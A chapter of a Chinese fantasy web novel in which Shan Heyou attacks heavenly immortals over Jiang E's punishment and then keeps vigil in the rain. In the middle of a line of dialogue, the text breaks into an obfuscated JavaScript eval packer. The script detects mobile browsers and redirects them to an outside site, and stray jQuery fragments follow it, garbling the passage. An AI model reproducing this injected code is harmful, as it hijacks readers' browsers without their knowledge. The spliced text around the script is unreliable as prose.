50. 天罚

作品:《被大妖男主缠上了

    一位仙人目光凌凌,“我们不过秉公行事,凡人不得问天宫之事,数万年便有此律,凡人肉身如何进得了天宫,承受得了天地灵气。你若有怨气,大可去你们凡间官府状告,承承上报,我们再审。”


    另一位仙人补充,“对,你是我们的对手吗?你要是敢对我们出手,天宫就是连你一起罚了你又能怎样?”


    单禾悠挑了挑眉。


    随后,一抹红色在一团云雾间飞舞,纵横交错,远远看去颜色纷杂。


    体内力量熊熊燃烧,她灵力暴涨,不出两招,几位仙人被打作一团,背靠着背,防御来自四面八方的攻击。


    单禾悠没有踪迹,快如疾风,她的每一招每一式出其不意,恍若鬼斧天降。


    “我又能怎么样?”


    “你们说处罚就处罚?那妖物横行霸道,残杀岛民的时候,你们这些正义使者在哪里?海面波涛汹涌,杀人无形,你们这些口口声声天下大道的人又在哪里?程剑他绝不无辜,你们不把事情调查明白,就直接下天惩,是因为江扼好欺负吗?”


    “你们知道他要得道了,你们说什么他都要接受,你们也知道我什么都不敢说,也什么都做不了。”


    单禾悠在云彩中穿行,把几位仙人避至死地,退无可退。


    仙人们登时如临大敌,脸色青黑,团团抱在一起,汇集灵力防御。


    “难过吗?绝望吗?”


    下一秒,青珠剑竖立天际,无比硕大的悬在他们头颅之上。


    犹如巨刃凌迟。


    刚刚还正气凛然的仙人,此刻露出了极其惊异的表情。他从天宫而来,这世间最好的金枝玉露他日日喝,最好的灵脉丹药他随手便取,有人跨越千山万水,才登上云梯迈入天宫,但他是他的习以为常。


    他下凡间,凡人皆是有礼跪拜,恭敬遵从。凡人会将一辈子的财富和诚心,向寺庙中的泥塑奉上,但这些身外之物,于他不过过眼云烟。


    千千万万年,都是这般如此。


    低头跪拜的人里,突然有人振臂高呼,呐喊反抗,才是异常的那一个。


    他双拳紧攥,颇为不解,“你要知道我们是天宫的人,你当真敢动我们?”


    他身后两三个仙人上前拉他,制止他多言激怒单禾悠。


    “我打得就是你这种蛮横无理的天宫人。”


    单禾悠是想吓唬他们的,现在她就想一剑斩下去。


    天穹另一角,天兵们被她布下的红雾拦住脚步,只怕还心有余而力不足。


    她可以杀了这些人,她也想。


    “单禾悠,别打了,”江扼传音而来。


    王奶奶婶儿还有院长呼喊了很多句,但她们声量微弱,远远比不过高远的天,传不过去,江扼有法术,而且他法术够强,可以突破单禾悠那一团红雾,然后把声音传到她耳边。


    单禾悠唤剑的动作不带一丝犹豫,可江扼的话递过来,她顿了顿说,“我想打。”


    江扼说,“你想要去当除魔卫道的大灵师,你才刚刚开始,要折在这半路上吗?”


    单禾悠鼻尖泛红,低着头泪珠滚烫,“但是这不公平。”


    江扼道,“没有什么公平不公平,我对程剑动了手,凡人治不了我,天宫给我降罚也没错。”


    单禾悠道,“哪里没错?程剑他不无辜。”


    江扼道,“那也是我鲁莽行事。你偏颇了。”


    偏颇二字如大雨倾盆,冷冷打在她心上,她既无动作,也不再言语。


    玄机天君说惩罚的是江扼,她顿时头脑发热,一路飞来找这些个自诩名门正道的仙者要个说法。


    没有证据可以证明程剑做了恶事,甚至旁人一看也只会觉得他是被妖物无端残害了,再说事情调查需要时间,苦海阁也闹出了人命,如果真的出了事,程剑必定难辞其咎。


    外人看来,江扼是冲动,是鲁莽,以暴制暴不考虑事情后果。


    但单禾悠知道,他是不想活了,也就无所谓了。


    他不咽这口气,也不想忍忍过去,等到真相大白的那一天。他只想一个恶有恶报的结果,一个人做了恶事害了人,就应该受到应有的惩罚。


    有仙人趁机插话,“对,你这是干扰我们惩处恶人,要是那个程剑做了错事,也轮不到你们用这样恶劣的手段,他一个修行人,竟然挑了他的灵根,这和杀了他有什么区别?”


    单禾悠的目光落在他的面庞之上,他锦衣华服,身姿挺拔伟岸,一言一行皆是名门正道之姿。


    单禾悠手下一挥,瞬间,青珠剑朝他们砍下。


    她轻轻一笑,说,“我不觉得我偏颇。我倒是觉得江扼太过手下留情,如果是我,我只会杀了他。”


    青珠剑灵力旺盛,分毫间便刺破仙者的法罩,强大的灵力震得她们头昏脑涨。


    剑刃锋利,剑声啸啸。


    仙者们一抬头,她们的长发折短,万缕青丝坠落凡间。


    耳边是那凡间姑娘的大放厥词,“下次见面,我会杀了你们。”


    *


    天色不晴,巍峨的山,长长的河都怏怏不乐,几只巨角麋鹿在草木间奔跑,赶着密集的雨脚,躲进山里的大洞,窝在巢穴听林间雨来雨往。


    雨声潇潇,单禾悠坐在泥地里,满脸水珠,一身寒凉。


    干燥齐整的纱裙湿了大半,下半身的襦裙也大多淤泥,她坐在水罩外,可以听得见呼吸声拍打在水壳之上,结成一片不清不楚的薄雾。


    院长带着王奶奶她们去了一旁矮亭避雨,她们叫过她一起去,但劝不动也扯不动。


    单禾悠在拔草,她眼前是一片绿油油的草,雨水淋淋,驮着晶莹的水珠,明亮可爱。


    她心情不好,哪根草长得好,她就拔哪根,一点都不带手软。


    拔了半天,眼前草地秃了大半,她才随便说了点什么,“江扼,我刚刚好凶,婶儿她们都被我吓到了。我还想杀了她们,因为我觉得她们没有公平处事,还有,我觉得你不能受伤了,你受了很多伤了,我不知道你是不是习惯了,但是在我身上的话,我会疼死,我要吃药,我也要出气。”


    江扼声音很轻,不认真听,水池的鱼虾都听不见他有动静,“你不凶,我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408557|179642||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也不疼。”


    单禾悠抱起自己的双腿,“我体内的力量是不是让人很害怕。”


    良久,寒池内没有声音,回应单禾悠的只有滚滚雷声。


    单禾悠指尖碰了下水罩,噗通一下,水罩内水波大震。


    没有人会回应她,她只能淋着大雨,自言自语,“看来一点都不可怕,这水罩都没被我吓倒,我能不能撕了这罩子啊,我看不惯它。”


    单禾悠双手拍打水罩,但砰砰砰,一直都是砰砰砰,雷声密集而强悍,她这样绵弱无力的拍打,反而衬得雷声更为响亮。


    水罩内没有声音,单禾悠背靠着水罩,嘴里低低呢喃,“你以后不要那么冲动了,也不要不管你身上的伤了,都多少伤了,还不疼,谁会相信你啊。骗子一个。不过我确实不凶,我这是怒不可遏,为正义而努力奋斗。”


    眼皮瘫软,灌了铅似的沉重,单禾悠头晕眼花,她按了袒心镯,这样谁也带不走她,什么也伤害不了她,金色罩子也将她笼住。


    “我们都要好好活下去,我等你出来。”


    院长在矮亭和几位老人喝茶,罩着单禾悠的那罩子,他一眼识破,“我们都破不开,不过也没东西能伤到她,不用担心,都不用担心。”


    他还没说完,一转头,另外两个凳子就空了,王奶奶和婶儿都撑着伞,守在单禾悠身边。


    他叹一口气,摇着头品茶,这几天事情太多,任他眼界再广,也是消化不来。


    有人踩过洼地,冲他招手,“院长,柳家姐妹有消息了。”


    柳家在岛上势力强劲,学院开疆拓土也少不了柳家的帮衬,柳霜柳雪又争气,天赋异禀,这柳家向来是他的座上宾,家中佛,他连忙干了这口茶,吆喝道,“来了来了,这就来。”


    *


    一宿过,天大破晓,太阳缓缓升起,光线穿过林间的枝枝叶叶,落在地上的水洼地里。


    草尖露珠滴落,水罩破灭。


    婶儿一听见动静,昏昏欲睡的头立刻停住,在罩外焦急地踱步,不停问王奶奶,“你看我这样子好吗?好吗?精气神是不是不错,看不出问题来吧。”


    王奶奶摇摇头,“面上很精神,眼睛肿了。”


    婶儿不信她的话,着急忙慌拿水洼地当镜子,一脸委屈,“还真是呀,藏不住。”


    王奶奶莞尔一笑,“你昨天哭得那么大声,还能藏得住?”


    婶儿哎呦一声,也不哭,也不闹,就难受兮兮,嘴角下行地背过身去,“我都一个老太婆了,我不好意思嘛。”


    水罩内传来脚步声,婶儿咻地一阵旋风般转身,两眼放光,“江扼!”


    眼泪又噔地决堤,呜呜呜地哭了出来。


    江扼肤色惨白,但眉梢带笑,微微点了点头,“我太冲动,让你们担心了。”


    婶儿趴在王奶奶的肩上哭,偷偷抹眼泪,“没有没有。”


    王奶奶也微微笑着,她还是冷静平和,不慌不乱,婶儿掐她一道,她便随了句,“没有。”


    江扼看着池边的金罩子,王奶奶唤他,“我们带上悠悠走吧。”